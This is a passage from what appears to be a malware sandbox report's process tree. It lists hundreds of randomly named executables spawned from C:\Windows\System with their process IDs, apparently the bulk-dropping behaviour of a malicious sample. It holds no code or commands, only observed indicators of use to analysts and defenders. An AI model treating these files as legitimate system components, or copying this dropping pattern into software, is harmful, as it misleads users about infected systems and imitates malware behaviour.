  PID:7464
- C:\Windows\System\tgtMYaN.exe
  C:\Windows\System\tgtMYaN.exe
  2⤵
  PID:7488
- C:\Windows\System\MwuwOlC.exe
  C:\Windows\System\MwuwOlC.exe
  2⤵
  PID:7516
- C:\Windows\System\QeYmtRv.exe
  C:\Windows\System\QeYmtRv.exe
  2⤵
  PID:7540
- C:\Windows\System\WQXrUNr.exe
  C:\Windows\System\WQXrUNr.exe
  2⤵
  PID:7564
- C:\Windows\System\VLwCMie.exe
  C:\Windows\System\VLwCMie.exe
  2⤵
  PID:7592
- C:\Windows\System\WilzxLC.exe
  C:\Windows\System\WilzxLC.exe
  2⤵
  PID:7616
- C:\Windows\System\jDZDFnE.exe
  C:\Windows\System\jDZDFnE.exe
  2⤵
  PID:7632
- C:\Windows\System\ETYiGWa.exe
  C:\Windows\System\ETYiGWa.exe
  2⤵
  PID:7664
- C:\Windows\System\hcZmDQu.exe
  C:\Windows\System\hcZmDQu.exe
  2⤵
  PID:7704
- C:\Windows\System\tNJHjvH.exe
  C:\Windows\System\tNJHjvH.exe
  2⤵
  PID:7732
- C:\Windows\System\ojCIDGh.exe
  C:\Windows\System\ojCIDGh.exe
  2⤵
  PID:7780
- C:\Windows\System\LWBKMHN.exe
  C:\Windows\System\LWBKMHN.exe
  2⤵
  PID:7800
- C:\Windows\System\yTetNeH.exe
  C:\Windows\System\yTetNeH.exe
  2⤵
  PID:7848
- C:\Windows\System\NHEQuVi.exe
  C:\Windows\System\NHEQuVi.exe
  2⤵
  PID:7864
- C:\Windows\System\NDdoQGM.exe
  C:\Windows\System\NDdoQGM.exe
  2⤵
  PID:7884
- C:\Windows\System\FExZFIX.exe
  C:\Windows\System\FExZFIX.exe
  2⤵
  PID:7908
- C:\Windows\System\EGewuMY.exe
  C:\Windows\System\EGewuMY.exe
  2⤵
  PID:7952
- C:\Windows\System\JGgKkPD.exe
  C:\Windows\System\JGgKkPD.exe
  2⤵
  PID:7972
- C:\Windows\System\beUnlTP.exe
  C:\Windows\System\beUnlTP.exe
  2⤵
  PID:7992
- C:\Windows\System\CpNKRfV.exe
  C:\Windows\System\CpNKRfV.exe
  2⤵
  PID:8012
- C:\Windows\System\XZlurii.exe
  C:\Windows\System\XZlurii.exe
  2⤵
  PID:8032
- C:\Windows\System\TeZwWnx.exe
  C:\Windows\System\TeZwWnx.exe
  2⤵
  PID:8060
- C:\Windows\System\ACGmEVi.exe
  C:\Windows\System\ACGmEVi.exe
  2⤵
  PID:8104
- C:\Windows\System\TKlKrld.exe
  C:\Windows\System\TKlKrld.exe
  2⤵
  PID:8132
- C:\Windows\System\iotjTNc.exe
  C:\Windows\System\iotjTNc.exe
  2⤵
  PID:8172
- C:\Windows\System\KnzzApI.exe
  C:\Windows\System\KnzzApI.exe
  2⤵
  PID:7172
- C:\Windows\System\vDpgQvO.exe
  C:\Windows\System\vDpgQvO.exe
  2⤵
  PID:7196
- C:\Windows\System\kXtXRxo.exe
  C:\Windows\System\kXtXRxo.exe
  2⤵
  PID:7300
- C:\Windows\System\RYkNtcS.exe
  C:\Windows\System\RYkNtcS.exe
  2⤵
  PID:3516
- C:\Windows\System\MhBKZNW.exe
  C:\Windows\System\MhBKZNW.exe
  2⤵
  PID:7428
- C:\Windows\System\FSfGKPr.exe
  C:\Windows\System\FSfGKPr.exe
  2⤵
  PID:7448
- C:\Windows\System\QWMZhIX.exe
  C:\Windows\System\QWMZhIX.exe
  2⤵
  PID:7504
- C:\Windows\System\jYEbqbl.exe
  C:\Windows\System\jYEbqbl.exe
  2⤵
  PID:7604
- C:\Windows\System\KxeDEbV.exe
  C:\Windows\System\KxeDEbV.exe
  2⤵
  PID:7680
- C:\Windows\System\ZYogCrF.exe
  C:\Windows\System\ZYogCrF.exe
  2⤵
  PID:7720
- C:\Windows\System\rIGERyO.exe
  C:\Windows\System\rIGERyO.exe
  2⤵
  PID:7724
- C:\Windows\System\QgEtoat.exe
  C:\Windows\System\QgEtoat.exe
  2⤵
  PID:7824
- C:\Windows\System\mPdUDCK.exe
  C:\Windows\System\mPdUDCK.exe
  2⤵
  PID:7980
- C:\Windows\System\disCNow.exe
  C:\Windows\System\disCNow.exe
  2⤵
  PID:7960
- C:\Windows\System\JXHQdNH.exe
  C:\Windows\System\JXHQdNH.exe
  2⤵
  PID:8048
- C:\Windows\System\pxFYpck.exe
  C:\Windows\System\pxFYpck.exe
  2⤵
  PID:8112
- C:\Windows\System\cPRuAjJ.exe
  C:\Windows\System\cPRuAjJ.exe
  2⤵
  PID:8148
- C:\Windows\System\WkguzuO.exe
  C:\Windows\System\WkguzuO.exe
  2⤵
  PID:7280
- C:\Windows\System\DoSzKOt.exe
  C:\Windows\System\DoSzKOt.exe
  2⤵
  PID:7340
- C:\Windows\System\huzGuRv.exe
  C:\Windows\System\huzGuRv.exe
  2⤵
  PID:7480
- C:\Windows\System\HjNrFqs.exe
  C:\Windows\System\HjNrFqs.exe
  2⤵
  PID:7560
- C:\Windows\System\WSdjjYZ.exe
  C:\Windows\System\WSdjjYZ.exe
  2⤵
  PID:7796
- C:\Windows\System\VZchyRp.exe
  C:\Windows\System\VZchyRp.exe
  2⤵
  PID:7836
- C:\Windows\System\ajrnzjS.exe
  C:\Windows\System\ajrnzjS.exe
  2⤵
  PID:7904
- C:\Windows\System\qBAxMwz.exe
  C:\Windows\System\qBAxMwz.exe
  2⤵
  PID:8028
- C:\Windows\System\WHAgiBi.exe
  C:\Windows\System\WHAgiBi.exe
  2⤵
  PID:7108
- C:\Windows\System\jaNdkhx.exe
  C:\Windows\System\jaNdkhx.exe
  2⤵
  PID:7476
- C:\Windows\System\ZVGbBPz.exe
  C:\Windows\System\ZVGbBPz.exe
  2⤵
  PID:7208
- C:\Windows\System\hmhIkuH.exe
  C:\Windows\System\hmhIkuH.exe
  2⤵
  PID:8216
- C:\Windows\System\uHKQZRi.exe
  C:\Windows\System\uHKQZRi.exe
  2⤵
  PID:8236
- C:\Windows\System\rsKGwJo.exe
  C:\Windows\System\rsKGwJo.exe
  2⤵
  PID:8252
- C:\Windows\System\nVlmpfl.exe
  C:\Windows\System\nVlmpfl.exe
  2⤵
  PID:8276
- C:\Windows\System\lOFJzfU.exe
  C:\Windows\System\lOFJzfU.exe
  2⤵
  PID:8292
- C:\Windows\System\DJILOSt.exe
  C:\Windows\System\DJILOSt.exe
  2⤵
  PID:8336
- C:\Windows\System\pzULivO.exe
  C:\Windows\System\pzULivO.exe
  2⤵
  PID:8420
- C:\Windows\System\ohCapJH.exe
  C:\Windows\System\ohCapJH.exe
  2⤵
  PID:8436
- C:\Windows\System\HJyiAAx.exe
  C:\Windows\System\HJyiAAx.exe
  2⤵
  PID:8452
- C:\Windows\System\wHFNlTk.exe
  C:\Windows\System\wHFNlTk.exe
  2⤵
  PID:8472
- C:\Windows\System\jTZWmfC.exe
  C:\Windows\System\jTZWmfC.exe
  2⤵
  PID:8492
- C:\Windows\System\dkSVoDm.exe
  C:\Windows\System\dkSVoDm.exe
  2⤵
  PID:8520
- C:\Windows\System\mfeBaKF.exe
  C:\Windows\System\mfeBaKF.exe
  2⤵
  PID:8564
- C:\Windows\System\boJRhma.exe
  C:\Windows\System\boJRhma.exe
  2⤵
  PID:8604
- C:\Windows\System\htEpUBQ.exe
  C:\Windows\System\htEpUBQ.exe
  2⤵
  PID:8628
- C:\Windows\System\NYUHMjy.exe
  C:\Windows\System\NYUHMjy.exe
  2⤵
  PID:8656
- C:\Windows\System\RRwhUIf.exe
  C:\Windows\System\RRwhUIf.exe
  2⤵
  PID:8680
- C:\Windows\System\ntdEkuZ.exe
  C:\Windows\System\ntdEkuZ.exe
  2⤵
  PID:8704
- C:\Windows\System\fePddIu.exe
  C:\Windows\System\fePddIu.exe
  2⤵
  PID:8720
- C:\Windows\System\yeUWSKg.exe
  C:\Windows\System\yeUWSKg.exe
  2⤵
  PID:8764
- C:\Windows\System\TGkxmzq.exe
  C:\Windows\System\TGkxmzq.exe
  2⤵
  PID:8796
- C:\Windows\System\JkdTSsu.exe
  C:\Windows\System\JkdTSsu.exe
  2⤵
  PID:8816
- C:\Windows\System\eUPZahh.exe
  C:\Windows\System\eUPZahh.exe
  2⤵
  PID:8860
- C:\Windows\System\ubphzMH.exe
  C:\Windows\System\ubphzMH.exe
  2⤵
  PID:8880
- C:\Windows\System\uuNFKBu.exe
  C:\Windows\System\uuNFKBu.exe
  2⤵
  PID:8904
- C:\Windows\System\kGObsEe.exe
  C:\Windows\System\kGObsEe.exe
  2⤵
  PID:8928
- C:\Windows\System\aQDPdAn.exe
  C:\Windows\System\aQDPdAn.exe
  2⤵
  PID:8956
- C:\Windows\System\WCmcELc.exe
  C:\Windows\System\WCmcELc.exe
  2⤵
  PID:8980
- C:\Windows\System\AeKAdKR.exe
  C:\Windows\System\AeKAdKR.exe
  2⤵
  PID:9000
- C:\Windows\System\wrHIfCB.exe
  C:\Windows\System\wrHIfCB.exe
  2⤵
  PID:9024
- C:\Windows\System\QUVmzMa.exe
  C:\Windows\System\QUVmzMa.exe
  2⤵
  PID:9076
- C:\Windows\System\tvFJZqX.exe
  C:\Windows\System\tvFJZqX.exe
  2⤵
  PID:9108
- C:\Windows\System\wnXisGO.exe
  C:\Windows\System\wnXisGO.exe
  2⤵
  PID:9132
- C:\Windows\System\ilNwscu.exe
  C:\Windows\System\ilNwscu.exe
  2⤵
  PID:9172
- C:\Windows\System\jVHVIYU.exe
  C:\Windows\System\jVHVIYU.exe
  2⤵
  PID:9188
- C:\Windows\System\onGNLUE.exe
  C:\Windows\System\onGNLUE.exe
  2⤵
  PID:9208
- C:\Windows\System\csEdjnh.exe
  C:\Windows\System\csEdjnh.exe
  2⤵
  PID:7380
- C:\Windows\System\nIEQrwY.exe
  C:\Windows\System\nIEQrwY.exe
  2⤵
  PID:8224
- C:\Windows\System\zbQYLQF.exe
  C:\Windows\System\zbQYLQF.exe
  2⤵
  PID:8272
- C:\Windows\System\eVxGOoN.exe
  C:\Windows\System\eVxGOoN.exe
  2⤵
  PID:8312
- C:\Windows\System\ynMqued.exe
  C:\Windows\System\ynMqued.exe
  2⤵
  PID:8352
- C:\Windows\System\qfAzAoZ.exe
  C:\Windows\System\qfAzAoZ.exe
  2⤵
  PID:8516
- C:\Windows\System\wWeTsuT.exe
  C:\Windows\System\wWeTsuT.exe
  2⤵
  PID:8588
- C:\Windows\System\hFhgAtj.exe
  C:\Windows\System\hFhgAtj.exe
  2⤵
  PID:8620
- C:\Windows\System\YzZAhgM.exe
  C:\Windows\System\YzZAhgM.exe
  2⤵
  PID:8692
- C:\Windows\System\eSovseR.exe
  C:\Windows\System\eSovseR.exe
  2⤵
  PID:8784
- C:\Windows\System\JTrXIoB.exe
  C:\Windows\System\JTrXIoB.exe
  2⤵
  PID:8848
- C:\Windows\System\GaxsDpb.exe
  C:\Windows\System\GaxsDpb.exe
  2⤵
  PID:8896
- C:\Windows\System\fuEiEgZ.exe
  C:\Windows\System\fuEiEgZ.exe
  2⤵
  PID:8944
- C:\Windows\System\uYLGtno.exe
  C:\Windows\System\uYLGtno.exe
  2⤵
  PID:9020
- C:\Windows\System\xLVsOgE.exe
  C:\Windows\System\xLVsOgE.exe
  2⤵
  PID:9084
- C:\Windows\System\BdGqNyZ.exe
  C:\Windows\System\BdGqNyZ.exe
  2⤵
  PID:9148
- C:\Windows\System\MNNeuRF.exe
  C:\Windows\System\MNNeuRF.exe
  2⤵
  PID:9180
- C:\Windows\System\SztQbDi.exe
  C:\Windows\System\SztQbDi.exe
  2⤵
  PID:8284
- C:\Windows\System\WuktxUI.exe
  C:\Windows\System\WuktxUI.exe
  2⤵
  PID:8288
- C:\Windows\System\SZhhWWa.exe
  C:\Windows\System\SZhhWWa.exe
  2⤵
  PID:8500
- C:\Windows\System\bpFLZhk.exe
  C:\Windows\System\bpFLZhk.exe
  2⤵
  PID:8772
- C:\Windows\System\fjGruLp.exe
  C:\Windows\System\fjGruLp.exe
  2⤵
  PID:8836
- C:\Windows\System\Brgtusv.exe
  C:\Windows\System\Brgtusv.exe
  2⤵
  PID:9040
- C:\Windows\System\ZDnfPjv.exe
  C:\Windows\System\ZDnfPjv.exe
  2⤵
  PID:7400
- C:\Windows\System\pHdmajR.exe
  C:\Windows\System\pHdmajR.exe
  2⤵
  PID:9120
- C:\Windows\System\hcHuDRl.exe
  C:\Windows\System\hcHuDRl.exe
  2⤵
  PID:8448
- C:\Windows\System\rmCaezr.exe
  C:\Windows\System\rmCaezr.exe
  2⤵
  PID:9096
- C:\Windows\System\mxCTztp.exe
  C:\Windows\System\mxCTztp.exe
  2⤵
  PID:8992
- C:\Windows\System\bHbqUGA.exe
  C:\Windows\System\bHbqUGA.exe
  2⤵
  PID:9232
- C:\Windows\System\QgDKzre.exe
  C:\Windows\System\QgDKzre.exe
  2⤵
  PID:9248
- C:\Windows\System\haHxsld.exe
  C:\Windows\System\haHxsld.exe
  2⤵
  PID:9268
- C:\Windows\System\MzUKGRl.exe
  C:\Windows\System\MzUKGRl.exe
  2⤵
  PID:9296
- C:\Windows\System\WUOgGvy.exe
  C:\Windows\System\WUOgGvy.exe
  2⤵
  PID:9336
- C:\Windows\System\SgNVlhN.exe
  C:\Windows\System\SgNVlhN.exe
  2⤵
  PID:9360
- C:\Windows\System\YXGcMmu.exe
  C:\Windows\System\YXGcMmu.exe
  2⤵
  PID:9396
- C:\Windows\System\NgeaLZJ.exe
  C:\Windows\System\NgeaLZJ.exe
  2⤵
  PID:9428
- C:\Windows\System\QJMQhLP.exe
  C:\Windows\System\QJMQhLP.exe
  2⤵
  PID:9456
- C:\Windows\System\cpmfzHX.exe
  C:\Windows\System\cpmfzHX.exe
  2⤵
  PID:9488
- C:\Windows\System\eJseuAN.exe
  C:\Windows\System\eJseuAN.exe
  2⤵
  PID:9508
- C:\Windows\System\zRjPItw.exe
  C:\Windows\System\zRjPItw.exe
  2⤵
  PID:9532
- C:\Windows\System\kNHUImn.exe
  C:\Windows\System\kNHUImn.exe
  2⤵
  PID:9560
- C:\Windows\System\yaGkpta.exe
  C:\Windows\System\yaGkpta.exe
  2⤵
  PID:9592
- C:\Windows\System\VFuWSqo.exe
  C:\Windows\System\VFuWSqo.exe
  2⤵
  PID:9616
- C:\Windows\System\CPafuwG.exe
  C:\Windows\System\CPafuwG.exe
  2⤵
  PID:9640
- C:\Windows\System\vfnkIvr.exe
  C:\Windows\System\vfnkIvr.exe
  2⤵
  PID:9688
- C:\Windows\System\BWWRaiG.exe
  C:\Windows\System\BWWRaiG.exe
  2⤵
  PID:9724
- C:\Windows\System\IaBKJko.exe
  C:\Windows\System\IaBKJko.exe
  2⤵
  PID:9748
- C:\Windows\System\SLHOmPo.exe
  C:\Windows\System\SLHOmPo.exe
  2⤵
  PID:9780
- C:\Windows\System\uhUzrSI.exe
  C:\Windows\System\uhUzrSI.exe
  2⤵
  PID:9796
- C:\Windows\System\xVAcWXN.exe
  C:\Windows\System\xVAcWXN.exe
  2⤵
  PID:9836
- C:\Windows\System\tMEDvXo.exe
  C:\Windows\System\tMEDvXo.exe
  2⤵
  PID:9860
- C:\Windows\System\bdVUkdi.exe
  C:\Windows\System\bdVUkdi.exe
  2⤵
  PID:9884
- C:\Windows\System\qifxjHs.exe
  C:\Windows\System\qifxjHs.exe
  2⤵
  PID:9908
- C:\Windows\System\ooEQKRs.exe
  C:\Windows\System\ooEQKRs.exe
  2⤵
  PID:9928
- C:\Windows\System\uYcWGtg.exe
  C:\Windows\System\uYcWGtg.exe
  2⤵
  PID:9952
- C:\Windows\System\ClKpvbx.exe
  C:\Windows\System\ClKpvbx.exe
  2⤵
  PID:9980
- C:\Windows\System\HICwBXu.exe
  C:\Windows\System\HICwBXu.exe
  2⤵
  PID:10012
- C:\Windows\System\wdDrtTN.exe
  C:\Windows\System\wdDrtTN.exe
  2⤵
  PID:10052
- C:\Windows\System\COLtYsy.exe
  C:\Windows\System\COLtYsy.exe
  2⤵
  PID:10076
- C:\Windows\System\Mvemafq.exe
  C:\Windows\System\Mvemafq.exe
  2⤵
  PID:10168
- C:\Windows\System\bdFUuXt.exe
  C:\Windows\System\bdFUuXt.exe
  2⤵
  PID:10184
- C:\Windows\System\xiUlcmh.exe
  C:\Windows\System\xiUlcmh.exe
  2⤵
  PID:10200
- C:\Windows\System\yMEtuJZ.exe
  C:\Windows\System\yMEtuJZ.exe
  2⤵
  PID:10216
- C:\Windows\System\YLWIkij.exe
  C:\Windows\System\YLWIkij.exe
  2⤵
  PID:10236
- C:\Windows\System\LOWGlFB.exe
  C:\Windows\System\LOWGlFB.exe
  2⤵
  PID:9264
- C:\Windows\System\xaDJHuP.exe
  C:\Windows\System\xaDJHuP.exe
  2⤵
  PID:9328
- C:\Windows\System\pOpALrB.exe
  C:\Windows\System\pOpALrB.exe
  2⤵
  PID:9356
- C:\Windows\System\wrMagYr.exe
  C:\Windows\System\wrMagYr.exe
  2⤵
  PID:9412
- C:\Windows\System\KpUYoFu.exe
  C:\Windows\System\KpUYoFu.exe
  2⤵
  PID:9496
- C:\Windows\System\gWxKNev.exe
  C:\Windows\System\gWxKNev.exe
  2⤵
  PID:9528
- C:\Windows\System\rSAvkuA.exe
  C:\Windows\System\rSAvkuA.exe
  2⤵
  PID:9608
- C:\Windows\System\RtNjnly.exe
  C:\Windows\System\RtNjnly.exe
  2⤵
  PID:9652
- C:\Windows\System\CgdXBNe.exe
  C:\Windows\System\CgdXBNe.exe
  2⤵
  PID:9788
- C:\Windows\System\OcZbbOC.exe
  C:\Windows\System\OcZbbOC.exe
  2⤵
  PID:9876
- C:\Windows\System\DgWWCnP.exe
  C:\Windows\System\DgWWCnP.exe
  2⤵
  PID:9900
- C:\Windows\System\JiXxxoB.exe
  C:\Windows\System\JiXxxoB.exe
  2⤵
  PID:9988
- C:\Windows\System\SYqGfJl.exe
  C:\Windows\System\SYqGfJl.exe
  2⤵
  PID:10032
- C:\Windows\System\wHrCImJ.exe
  C:\Windows\System\wHrCImJ.exe
  2⤵
  PID:10128
- C:\Windows\System\vPzhNxe.exe
  C:\Windows\System\vPzhNxe.exe
  2⤵
  PID:10152
- C:\Windows\System\IYaCZSE.exe
  C:\Windows\System\IYaCZSE.exe
  2⤵
  PID:10196
- C:\Windows\System\ZtihOnl.exe
  C:\Windows\System\ZtihOnl.exe
  2⤵
  PID:9420
- C:\Windows\System\talvwiP.exe
  C:\Windows\System\talvwiP.exe
  2⤵
  PID:9480
- C:\Windows\System\WVIivSb.exe
  C:\Windows\System\WVIivSb.exe
  2⤵
  PID:9632
- C:\Windows\System\LqYcRXl.exe
  C:\Windows\System\LqYcRXl.exe
  2⤵
  PID:9828
- C:\Windows\System\uvEtuzx.exe
  C:\Windows\System\uvEtuzx.exe
  2⤵
  PID:9976
- C:\Windows\System\ltVeAzN.exe
  C:\Windows\System\ltVeAzN.exe
  2⤵
  PID:10132
- C:\Windows\System\QNrbnwD.exe
  C:\Windows\System\QNrbnwD.exe
  2⤵
  PID:10092
- C:\Windows\System\zWCZkAJ.exe
  C:\Windows\System\zWCZkAJ.exe
  2⤵
  PID:8688
- C:\Windows\System\dkjWMkO.exe
  C:\Windows\System\dkjWMkO.exe
  2⤵
  PID:9392
- C:\Windows\System\OVqxXbh.exe
  C:\Windows\System\OVqxXbh.exe
  2⤵
  PID:9924
- C:\Windows\System\XQkyyaV.exe
  C:\Windows\System\XQkyyaV.exe
  2⤵
  PID:10104
- C:\Windows\System\TfEnzUv.exe
  C:\Windows\System\TfEnzUv.exe
  2⤵
  PID:10260
- C:\Windows\System\IYZdBIw.exe
  C:\Windows\System\IYZdBIw.exe
  2⤵
  PID:10304
- C:\Windows\System\ToOqrFd.exe
  C:\Windows\System\ToOqrFd.exe
  2⤵
  PID:10328
- C:\Windows\System\hBsNocO.exe
  C:\Windows\System\hBsNocO.exe
  2⤵
  PID:10360
- C:\Windows\System\woqozmu.exe
  C:\Windows\System\woqozmu.exe
  2⤵
  PID:10384
- C:\Windows\System\PXJbjfk.exe
  C:\Windows\System\PXJbjfk.exe
  2⤵
  PID:10400
- C:\Windows\System\MsJZALn.exe
  C:\Windows\System\MsJZALn.exe
  2⤵
  PID:10440
- C:\Windows\System\zJqkOSZ.exe
  C:\Windows\System\zJqkOSZ.exe
  2⤵
  PID:10464
- C:\Windows\System\IeQaPFH.exe
  C:\Windows\System\IeQaPFH.exe
  2⤵
  PID:10504
- C:\Windows\System\IxRYvVy.exe
  C:\Windows\System\IxRYvVy.exe
  2⤵
  PID:10528
- C:\Windows\System\cZhzPyH.exe
  C:\Windows\System\cZhzPyH.exe
  2⤵
  PID:10552
- C:\Windows\System\ADEcaXt.exe
  C:\Windows\System\ADEcaXt.exe
  2⤵
  PID:10576
- C:\Windows\System\BacahCI.exe
  C:\Windows\System\BacahCI.exe
  2⤵
  PID:10596
- C:\Windows\System\CoKXoMF.exe
  C:\Windows\System\CoKXoMF.exe
  2⤵
  PID:10612
- C:\Windows\System\SIOJqnc.exe
  C:\Windows\System\SIOJqnc.exe
  2⤵
  PID:10684
- C:\Windows\System\CDOizKY.exe
  C:\Windows\System\CDOizKY.exe
  2⤵
  PID:10708
- C:\Windows\System\DYhOrdp.exe
  C:\Windows\System\DYhOrdp.exe
  2⤵
  PID:10732
- C:\Windows\System\bBVIRVb.exe
  C:\Windows\System\bBVIRVb.exe
  2⤵
  PID:10752
- C:\Windows\System\LQxYrxu.exe
  C:\Windows\System\LQxYrxu.exe
  2⤵
  PID:10776
- C:\Windows\System\sCfnVWz.exe
  C:\Windows\System\sCfnVWz.exe
  2⤵
  PID:10796
- C:\Windows\System\cQBwSiu.exe
  C:\Windows\System\cQBwSiu.exe
  2⤵
  PID:10816
- C:\Windows\System\uqLvHKe.exe
  C:\Windows\System\uqLvHKe.exe
  2⤵
  PID:10840
- C:\Windows\System\DPSCjhJ.exe
  C:\Windows\System\DPSCjhJ.exe
  2⤵
  PID:10888
- C:\Windows\System\WHazKxe.exe
  C:\Windows\System\WHazKxe.exe
  2⤵
  PID:10916
- C:\Windows\System\thXeYqk.exe
  C:\Windows\System\thXeYqk.exe
  2⤵
  PID:10948
- C:\Windows\System\wLMtwMo.exe
  C:\Windows\System\wLMtwMo.exe
  2⤵
  PID:10980
- C:\Windows\System\InUhXzB.exe
  C:\Windows\System\InUhXzB.exe
  2⤵
  PID:11020
- C:\Windows\System\dQlGDVm.exe
  C:\Windows\System\dQlGDVm.exe
  2⤵
  PID:11052
- C:\Windows\System\ZhlLXdg.exe
  C:\Windows\System\ZhlLXdg.exe
  2⤵
  PID:11072
- C:\Windows\System\LwLcjzs.exe
  C:\Windows\System\LwLcjzs.exe
  2⤵
  PID:11092
- C:\Windows\System\GKezVyy.exe
  C:\Windows\System\GKezVyy.exe
  2⤵
  PID:11120
- C:\Windows\System\oNavwBu.exe
  C:\Windows\System\oNavwBu.exe
  2⤵
  PID:11148
- C:\Windows\System\vSYPyEu.exe
  C:\Windows\System\vSYPyEu.exe
  2⤵
  PID:11176
- C:\Windows\System\dOOMdyd.exe
  C:\Windows\System\dOOMdyd.exe
  2⤵
  PID:11200
- C:\Windows\System\QJmZSQU.exe
  C:\Windows\System\QJmZSQU.exe
  2⤵
  PID:11232
- C:\Windows\System\TDduhFQ.exe
  C:\Windows\System\TDduhFQ.exe
  2⤵
  PID:10100
- C:\Windows\System\Xamxitr.exe
  C:\Windows\System\Xamxitr.exe
  2⤵
  PID:10296
- C:\Windows\System\bjljpGd.exe
  C:\Windows\System\bjljpGd.exe
  2⤵
  PID:10344
- C:\Windows\System\ePdvLHg.exe
  C:\Windows\System\ePdvLHg.exe
  2⤵
  PID:10420
- C:\Windows\System\hLcYuGk.exe
  C:\Windows\System\hLcYuGk.exe
  2⤵
  PID:10492
- C:\Windows\System\jsUNmtE.exe
  C:\Windows\System\jsUNmtE.exe
  2⤵
  PID:10544
- C:\Windows\System\JnbmOCQ.exe
  C:\Windows\System\JnbmOCQ.exe
  2⤵
  PID:10572
- C:\Windows\System\PbVgJkI.exe
  C:\Windows\System\PbVgJkI.exe
  2⤵
  PID:10660
- C:\Windows\System\guJTkwP.exe
  C:\Windows\System\guJTkwP.exe
  2⤵
  PID:10700
- C:\Windows\System\HaeqbDC.exe
  C:\Windows\System\HaeqbDC.exe
  2⤵
  PID:10744
- C:\Windows\System\tyONbeQ.exe
  C:\Windows\System\tyONbeQ.exe
  2⤵
  PID:10784
- C:\Windows\System\gyUsudZ.exe
  C:\Windows\System\gyUsudZ.exe
  2⤵
  PID:10832
- C:\Windows\System\mDPMKNt.exe
  C:\Windows\System\mDPMKNt.exe
  2⤵
  PID:10884
- C:\Windows\System\swfqtDi.exe
  C:\Windows\System\swfqtDi.exe
  2⤵
  PID:3828
- C:\Windows\System\kylzKvj.exe
  C:\Windows\System\kylzKvj.exe
  2⤵
  PID:11000
- C:\Windows\System\OVFVKqR.exe
  C:\Windows\System\OVFVKqR.exe
  2⤵
  PID:11044
- C:\Windows\System\dPVrvwC.exe
  C:\Windows\System\dPVrvwC.exe
  2⤵
  PID:10136
- C:\Windows\System\GQmCmAU.exe
  C:\Windows\System\GQmCmAU.exe
  2⤵
  PID:4340
- C:\Windows\System\bfhzptB.exe
  C:\Windows\System\bfhzptB.exe
  2⤵
  PID:10416
- C:\Windows\System\nSNwlvj.exe
  C:\Windows\System\nSNwlvj.exe
  2⤵
  PID:10564
- C:\Windows\System\balHvph.exe
  C:\Windows\System\balHvph.exe
  2⤵
  PID:10724
- C:\Windows\System\NelqOBk.exe
  C:\Windows\System\NelqOBk.exe
  2⤵
  PID:10928
- C:\Windows\System\chHsDSL.exe
  C:\Windows\System\chHsDSL.exe
  2⤵
  PID:10960
- C:\Windows\System\EGygYLw.exe
  C:\Windows\System\EGygYLw.exe
  2⤵
  PID:11068
- C:\Windows\System\CPCxVnZ.exe
  C:\Windows\System\CPCxVnZ.exe
  2⤵
  PID:11164
- C:\Windows\System\vGdQeTx.exe
  C:\Windows\System\vGdQeTx.exe
  2⤵
  PID:4216
- C:\Windows\System\xsUlroL.exe
  C:\Windows\System\xsUlroL.exe
  2⤵
  PID:10692
- C:\Windows\System\xWlxxbb.exe
  C:\Windows\System\xWlxxbb.exe
  2⤵
  PID:10740
- C:\Windows\System\khcSlAH.exe
  C:\Windows\System\khcSlAH.exe
  2⤵
  PID:10536
- C:\Windows\System\kejFqUg.exe
  C:\Windows\System\kejFqUg.exe
  2⤵
  PID:10396
- C:\Windows\System\fuuNqsh.exe
  C:\Windows\System\fuuNqsh.exe
  2⤵
  PID:11280
- C:\Windows\System\uHCKvQc.exe
  C:\Windows\System\uHCKvQc.exe
  2⤵
  PID:11320
- C:\Windows\System\cgFvNxW.exe
  C:\Windows\System\cgFvNxW.exe
  2⤵
  PID:11344
- C:\Windows\System\qmYrxgl.exe
  C:\Windows\System\qmYrxgl.exe
  2⤵
  PID:11364
- C:\Windows\System\dlKVDnC.exe
  C:\Windows\System\dlKVDnC.exe
  2⤵
  PID:11404
- C:\Windows\System\cbleReD.exe
  C:\Windows\System\cbleReD.exe
  2⤵
  PID:11424
- C:\Windows\System\LBDvuNd.exe
  C:\Windows\System\LBDvuNd.exe
  2⤵
  PID:11448
- C:\Windows\System\fOXstaY.exe
  C:\Windows\System\fOXstaY.exe
  2⤵
  PID:11488
- C:\Windows\System\WNyVFin.exe
  C:\Windows\System\WNyVFin.exe
  2⤵
  PID:11508
- C:\Windows\System\JnJLmGu.exe
  C:\Windows\System\JnJLmGu.exe
  2⤵
  PID:11532
- C:\Windows\System\UByTisn.exe
  C:\Windows\System\UByTisn.exe
  2⤵
  PID:11552
- C:\Windows\System\cngyXJl.exe
  C:\Windows\System\cngyXJl.exe
  2⤵
  PID:11580
- C:\Windows\System\GGOxkFP.exe
  C:\Windows\System\GGOxkFP.exe
  2⤵
  PID:11604
- C:\Windows\System\GulKorI.exe
  C:\Windows\System\GulKorI.exe
  2⤵
  PID:11632
- C:\Windows\System\jHDizvE.exe
  C:\Windows\System\jHDizvE.exe
  2⤵
  PID:11652
- C:\Windows\System\ZLOMTas.exe
  C:\Windows\System\ZLOMTas.exe
  2⤵
  PID:11676
- C:\Windows\System\CEbSelW.exe
  C:\Windows\System\CEbSelW.exe
  2⤵
  PID:11692
- C:\Windows\System\xReeSlK.exe
  C:\Windows\System\xReeSlK.exe
  2⤵
  PID:11708
- C:\Windows\System\iipGvyE.exe
  C:\Windows\System\iipGvyE.exe
  2⤵
  PID:11724
- C:\Windows\System\FGTQTPh.exe
  C:\Windows\System\FGTQTPh.exe
  2⤵
  PID:11748
- C:\Windows\System\SVvbqqP.exe
  C:\Windows\System\SVvbqqP.exe
  2⤵
  PID:11776
- C:\Windows\System\csQVxKb.exe
  C:\Windows\System\csQVxKb.exe
  2⤵
  PID:11796
- C:\Windows\System\HLynAQV.exe
  C:\Windows\System\HLynAQV.exe
  2⤵
  PID:11868
- C:\Windows\System\nLjDmjL.exe
  C:\Windows\System\nLjDmjL.exe
  2⤵
  PID:11912
- C:\Windows\System\yDtGtTi.exe
  C:\Windows\System\yDtGtTi.exe
  2⤵
  PID:11932
- C:\Windows\System\VpmsfdW.exe
  C:\Windows\System\VpmsfdW.exe
  2⤵
  PID:11952
- C:\Windows\System\usWDxfP.exe
  C:\Windows\System\usWDxfP.exe
  2⤵
  PID:11972
- C:\Windows\System\WhwHaSB.exe
  C:\Windows\System\WhwHaSB.exe
  2⤵
  PID:12036
- C:\Windows\System\nyirgLU.exe
  C:\Windows\System\nyirgLU.exe
  2⤵
  PID:12080
- C:\Windows\System\PPEIQDB.exe
  C:\Windows\System\PPEIQDB.exe
  2⤵
  PID:12104
- C:\Windows\System\gHDsSdl.exe
  C:\Windows\System\gHDsSdl.exe
  2⤵
  PID:12120
